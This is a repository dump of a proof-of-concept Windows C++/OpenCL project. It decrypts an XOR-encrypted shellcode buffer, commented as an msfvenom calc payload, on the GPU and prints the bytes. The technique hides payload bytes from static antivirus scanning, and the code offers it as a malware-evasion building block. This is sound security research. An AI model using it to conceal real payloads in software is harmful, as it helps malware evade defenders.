├── GpuDecryptShellcode.vcxproj.user ├── README.md ├── GpuDecryptShellcode.vcxproj.filters ├── GpuDecryptShellcode.sln ├── GpuDecryptShellcode.vcxproj └── GpuDecryptShellcode.cpp /GpuDecryptShellcode.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GpuDecryptShellcode 2 | 3 | PoC for XOR-decrypting shellcode on the GPU using OpenCL. 4 | 5 | Blog post available at [https://eversinc33.github.io/posts/gpu-malware/](https://eversinc33.com/posts/gpu-malware.html) 6 | -------------------------------------------------------------------------------- /GpuDecryptShellcode.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /GpuDecryptShellcode.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.5.33516.290 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "GpuDecryptShellcode", "GpuDecryptShellcode.vcxproj", "{101BDA8D-E455-4213-B61A-83C8C3D298E0}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {101BDA8D-E455-4213-B61A-83C8C3D298E0}.Debug|x64.ActiveCfg = Debug|x64 17 | {101BDA8D-E455-4213-B61A-83C8C3D298E0}.Debug|x64.Build.0 = Debug|x64 18 | {101BDA8D-E455-4213-B61A-83C8C3D298E0}.Debug|x86.ActiveCfg = Debug|Win32 19 | {101BDA8D-E455-4213-B61A-83C8C3D298E0}.Debug|x86.Build.0 = Debug|Win32 20 | {101BDA8D-E455-4213-B61A-83C8C3D298E0}.Release|x64.ActiveCfg = Release|x64 21 | {101BDA8D-E455-4213-B61A-83C8C3D298E0}.Release|x64.Build.0 = Release|x64 22 | {101BDA8D-E455-4213-B61A-83C8C3D298E0}.Release|x86.ActiveCfg = Release|Win32 23 | {101BDA8D-E455-4213-B61A-83C8C3D298E0}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {8F60272B-23FA-4E08-B35E-F117E4BA256C} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /GpuDecryptShellcode.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {101bda8d-e455-4213-b61a-83c8c3d298e0} 25 | GpuDecryptShellcode 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | C:\Users\jdoe\source\OpenCL-CLHPP\include;C:\Users\jdoe\source\OpenCL-Headers 108 | 109 | 110 | Console 111 | true 112 | 113 | 114 | 115 | 116 | Level3 117 | true 118 | true 119 | true 120 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 121 | true 122 | C:\Users\jdoe\source\OpenCL-CLHPP\include;C:\Users\jdoe\source\OpenCL-Headers 123 | 124 | 125 | Console 126 | true 127 | true 128 | true 129 | $(CoreLibraryDependencies);%(AdditionalDependencies);OpenCL.lib 130 | $(INTELOCLSDKROOT)\lib\x64 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | -------------------------------------------------------------------------------- /GpuDecryptShellcode.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #define CL_HPP_TARGET_OPENCL_VERSION 300 5 | #include 6 | #include 7 | 8 | #define SHELLCODE_LENGTH 276 9 | 10 | const char* xorKernelSource[] = { // 11 | "__kernel void decrypt(__global char* encrypted, __global char* password, __global char* output) { output[get_global_id(0)] = encrypted[get_global_id(0)] ^ password[0]; }" 12 | }; 13 | 14 | const char* getErrorString(cl_int error) 15 | { 16 | switch (error) { 17 | // run-time and JIT compiler errors 18 | case 0: return "CL_SUCCESS"; 19 | case -1: return "CL_DEVICE_NOT_FOUND"; 20 | case -2: return "CL_DEVICE_NOT_AVAILABLE"; 21 | case -3: return "CL_COMPILER_NOT_AVAILABLE"; 22 | case -4: return "CL_MEM_OBJECT_ALLOCATION_FAILURE"; 23 | case -5: return "CL_OUT_OF_RESOURCES"; 24 | case -6: return "CL_OUT_OF_HOST_MEMORY"; 25 | case -7: return "CL_PROFILING_INFO_NOT_AVAILABLE"; 26 | case -8: return "CL_MEM_COPY_OVERLAP"; 27 | case -9: return "CL_IMAGE_FORMAT_MISMATCH"; 28 | case -10: return "CL_IMAGE_FORMAT_NOT_SUPPORTED"; 29 | case -11: return "CL_BUILD_PROGRAM_FAILURE"; 30 | case -12: return "CL_MAP_FAILURE"; 31 | case -13: return "CL_MISALIGNED_SUB_BUFFER_OFFSET"; 32 | case -14: return "CL_EXEC_STATUS_ERROR_FOR_EVENTS_IN_WAIT_LIST"; 33 | case -15: return "CL_COMPILE_PROGRAM_FAILURE"; 34 | case -16: return "CL_LINKER_NOT_AVAILABLE"; 35 | case -17: return "CL_LINK_PROGRAM_FAILURE"; 36 | case -18: return "CL_DEVICE_PARTITION_FAILED"; 37 | case -19: return "CL_KERNEL_ARG_INFO_NOT_AVAILABLE"; 38 | 39 | // compile-time errors 40 | case -30: return "CL_INVALID_VALUE"; 41 | case -31: return "CL_INVALID_DEVICE_TYPE"; 42 | case -32: return "CL_INVALID_PLATFORM"; 43 | case -33: return "CL_INVALID_DEVICE"; 44 | case -34: return "CL_INVALID_CONTEXT"; 45 | case -35: return "CL_INVALID_QUEUE_PROPERTIES"; 46 | case -36: return "CL_INVALID_COMMAND_QUEUE"; 47 | case -37: return "CL_INVALID_HOST_PTR"; 48 | case -38: return "CL_INVALID_MEM_OBJECT"; 49 | case -39: return "CL_INVALID_IMAGE_FORMAT_DESCRIPTOR"; 50 | case -40: return "CL_INVALID_IMAGE_SIZE"; 51 | case -41: return "CL_INVALID_SAMPLER"; 52 | case -42: return "CL_INVALID_BINARY"; 53 | case -43: return "CL_INVALID_BUILD_OPTIONS"; 54 | case -44: return "CL_INVALID_PROGRAM"; 55 | case -45: return "CL_INVALID_PROGRAM_EXECUTABLE"; 56 | case -46: return "CL_INVALID_KERNEL_NAME"; 57 | case -47: return "CL_INVALID_KERNEL_DEFINITION"; 58 | case -48: return "CL_INVALID_KERNEL"; 59 | case -49: return "CL_INVALID_ARG_INDEX"; 60 | case -50: return "CL_INVALID_ARG_VALUE"; 61 | case -51: return "CL_INVALID_ARG_SIZE"; 62 | case -52: return "CL_INVALID_KERNEL_ARGS"; 63 | case -53: return "CL_INVALID_WORK_DIMENSION"; 64 | case -54: return "CL_INVALID_WORK_GROUP_SIZE"; 65 | case -55: return "CL_INVALID_WORK_ITEM_SIZE"; 66 | case -56: return "CL_INVALID_GLOBAL_OFFSET"; 67 | case -57: return "CL_INVALID_EVENT_WAIT_LIST"; 68 | case -58: return "CL_INVALID_EVENT"; 69 | case -59: return "CL_INVALID_OPERATION"; 70 | case -60: return "CL_INVALID_GL_OBJECT"; 71 | case -61: return "CL_INVALID_BUFFER_SIZE"; 72 | case -62: return "CL_INVALID_MIP_LEVEL"; 73 | case -63: return "CL_INVALID_GLOBAL_WORK_SIZE"; 74 | case -64: return "CL_INVALID_PROPERTY"; 75 | case -65: return "CL_INVALID_IMAGE_DESCRIPTOR"; 76 | case -66: return "CL_INVALID_COMPILER_OPTIONS"; 77 | case -67: return "CL_INVALID_LINKER_OPTIONS"; 78 | case -68: return "CL_INVALID_DEVICE_PARTITION_COUNT"; 79 | 80 | // extension errors 81 | case -1000: return "CL_INVALID_GL_SHAREGROUP_REFERENCE_KHR"; 82 | case -1001: return "CL_PLATFORM_NOT_FOUND_KHR"; 83 | case -1002: return "CL_INVALID_D3D10_DEVICE_KHR"; 84 | case -1003: return "CL_INVALID_D3D10_RESOURCE_KHR"; 85 | case -1004: return "CL_D3D10_RESOURCE_ALREADY_ACQUIRED_KHR"; 86 | case -1005: return "CL_D3D10_RESOURCE_NOT_ACQUIRED_KHR"; 87 | default: return "Unknown OpenCL error"; 88 | } 89 | } 90 | 91 | int main() 92 | { 93 | // fc 48 ... msfvenom calc payload 94 | unsigned char buf[] = "\x97\x23\xe8\x8f\x9b\x83\xab\x6b\x6b\x6b\x2a\x3a\x2a\x3b\x39\x3a\x3d\x23\x5a\xb9\x0e\x23\xe0\x39\x0b\x23\xe0\x39\x73\x23\xe0\x39\x4b\x23\xe0\x19\x3b\x23\x64\xdc\x21\x21\x26\x5a\xa2\x23\x5a\xab\xc7\x57\x0a\x17\x69\x47\x4b\x2a\xaa\xa2\x66\x2a\x6a\xaa\x89\x86\x39\x2a\x3a\x23\xe0\x39\x4b\xe0\x29\x57\x23\x6a\xbb\xe0\xeb\xe3\x6b\x6b\x6b\x23\xee\xab\x1f\x0c\x23\x6a\xbb\x3b\xe0\x23\x73\x2f\xe0\x2b\x4b\x22\x6a\xbb\x88\x3d\x23\x94\xa2\x2a\xe0\x5f\xe3\x23\x6a\xbd\x26\x5a\xa2\x23\x5a\xab\xc7\x2a\xaa\xa2\x66\x2a\x6a\xaa\x53\x8b\x1e\x9a\x27\x68\x27\x4f\x63\x2e\x52\xba\x1e\xb3\x33\x2f\xe0\x2b\x4f\x22\x6a\xbb\x0d\x2a\xe0\x67\x23\x2f\xe0\x2b\x77\x22\x6a\xbb\x2a\xe0\x6f\xe3\x23\x6a\xbb\x2a\x33\x2a\x33\x35\x32\x31\x2a\x33\x2a\x32\x2a\x31\x23\xe8\x87\x4b\x2a\x39\x94\x8b\x33\x2a\x32\x31\x23\xe0\x79\x82\x3c\x94\x94\x94\x36\x23\xd1\x6a\x6b\x6b\x6b\x6b\x6b\x6b\x6b\x23\xe6\xe6\x6a\x6a\x6b\x6b\x2a\xd1\x5a\xe0\x04\xec\x94\xbe\xd0\x9b\xde\xc9\x3d\x2a\xd1\xcd\xfe\xd6\xf6\x94\xbe\x23\xe8\xaf\x43\x57\x6d\x17\x61\xeb\x90\x8b\x1e\x6e\xd0\x2c\x78\x19\x04\x01\x6b\x32\x2a\xe2\xb1\x94\xbe\x08\x0a\x07\x08\x45\x0e\x13\x0e\x6b\x6b"; 95 | 96 | unsigned char key[] = "k"; 97 | 98 | char finalPayload[SHELLCODE_LENGTH] = { 0 }; 99 | 100 | size_t dataSize = SHELLCODE_LENGTH; 101 | 102 | //get all platforms (drivers) 103 | std::vector all_platforms; 104 | cl::Platform::get(&all_platforms); 105 | if (all_platforms.size() == 0) 106 | { 107 | std::cout << " No platforms found. Check OpenCL installation!\n"; 108 | exit(1); 109 | } 110 | cl::Platform default_platform = all_platforms[0]; 111 | std::cout << "Using platform: " << default_platform.getInfo() << "\n"; 112 | 113 | //get default device of the default platform 114 | std::vector all_devices; 115 | default_platform.getDevices(CL_DEVICE_TYPE_ALL, &all_devices); 116 | if (all_devices.size() == 0) 117 | { 118 | std::cout << " No devices found. Check OpenCL installation!\n"; 119 | exit(1); 120 | } 121 | cl::Device default_device = all_devices[0]; 122 | std::cout << "Using device: " << default_device.getInfo() << "\n"; 123 | 124 | // Setup OpenCL 125 | cl::Context context({ default_device }); 126 | cl_int err; 127 | cl_command_queue queue = clCreateCommandQueueWithProperties(context.get(), default_device.get(), NULL, &err); 128 | 129 | // setup buffers 130 | cl_mem shellcodeEncrypted = clCreateBuffer(context.get(), CL_MEM_READ_ONLY | CL_MEM_COPY_HOST_PTR, dataSize, buf, &err); 131 | cl_mem xorKey = clCreateBuffer(context.get(), CL_MEM_READ_ONLY | CL_MEM_COPY_HOST_PTR, sizeof(char), key, &err); 132 | cl_mem shellcodeDecryptedOut = clCreateBuffer(context.get(), CL_MEM_READ_WRITE, dataSize, NULL, &err); 133 | 134 | // Create kernel from source 135 | cl_program kernel = clCreateProgramWithSource(context.get(), 1, xorKernelSource, NULL, &err); 136 | if (err) 137 | { 138 | std::cout << "clCreateProgramWithSource: " << getErrorString(err) << std::endl; 139 | } 140 | cl_int res = clBuildProgram(kernel, 0, NULL, NULL, NULL, NULL); 141 | if (res != CL_BUILD_SUCCESS) 142 | { 143 | size_t len = 0; 144 | clGetProgramBuildInfo(kernel, default_device.get(), CL_PROGRAM_BUILD_LOG, 0, NULL, &len); 145 | char* buffer = (char*)malloc(len * sizeof(char)); 146 | clGetProgramBuildInfo(kernel, default_device.get(), CL_PROGRAM_BUILD_LOG, len, buffer, NULL); 147 | std::cout << buffer << std::endl; 148 | free(buffer); 149 | } 150 | 151 | // Get a handle to the kernel function for decryption 152 | cl_kernel decryptKernelFunctionHandle = clCreateKernel(kernel, "decrypt", &err); 153 | if (err) 154 | { 155 | std::cout << "clCreateKernel: " << getErrorString(err) << std::endl; 156 | } 157 | 158 | // Set arguments for kernel 159 | clSetKernelArg(decryptKernelFunctionHandle, 0, sizeof(cl_mem), (void*)&shellcodeEncrypted); 160 | clSetKernelArg(decryptKernelFunctionHandle, 1, sizeof(cl_mem), (void*)&xorKey); 161 | clSetKernelArg(decryptKernelFunctionHandle, 2, sizeof(cl_mem), (void*)&shellcodeDecryptedOut); 162 | 163 | // Launch the kernel on the GPU with one work item per byte 164 | size_t workSize = SHELLCODE_LENGTH; 165 | err = clEnqueueNDRangeKernel(queue, decryptKernelFunctionHandle, 1, NULL, &workSize, NULL, 0, NULL, NULL); 166 | if (err) 167 | { 168 | std::cout << "clEnqueueNDRangeKernel: " << getErrorString(err) << std::endl; 169 | } 170 | 171 | // Copy the output from GPU memory back to CPU memory 172 | err = clEnqueueReadBuffer(queue, shellcodeDecryptedOut, CL_TRUE, 0, dataSize, finalPayload, 0, NULL, NULL); 173 | if (err) 174 | { 175 | std::cout << "clEnqueueReadBuffer: " << getErrorString(err) << std::endl; 176 | } 177 | 178 | // Print decrypted payload 179 | for (int i=0; i < SHELLCODE_LENGTH; i++) 180 | { 181 | printf("\\x%02x", (char)finalPayload[i]); 182 | } 183 | 184 | // Cleanup 185 | clReleaseKernel(decryptKernelFunctionHandle); 186 | clReleaseProgram(kernel); 187 | clReleaseCommandQueue(queue); 188 | clReleaseContext(context.get()); 189 | clReleaseMemObject(shellcodeEncrypted); 190 | clReleaseMemObject(xorKey); 191 | clReleaseMemObject(shellcodeDecryptedOut); 192 | 193 | return 0; 194 | } --------------------------------------------------------------------------------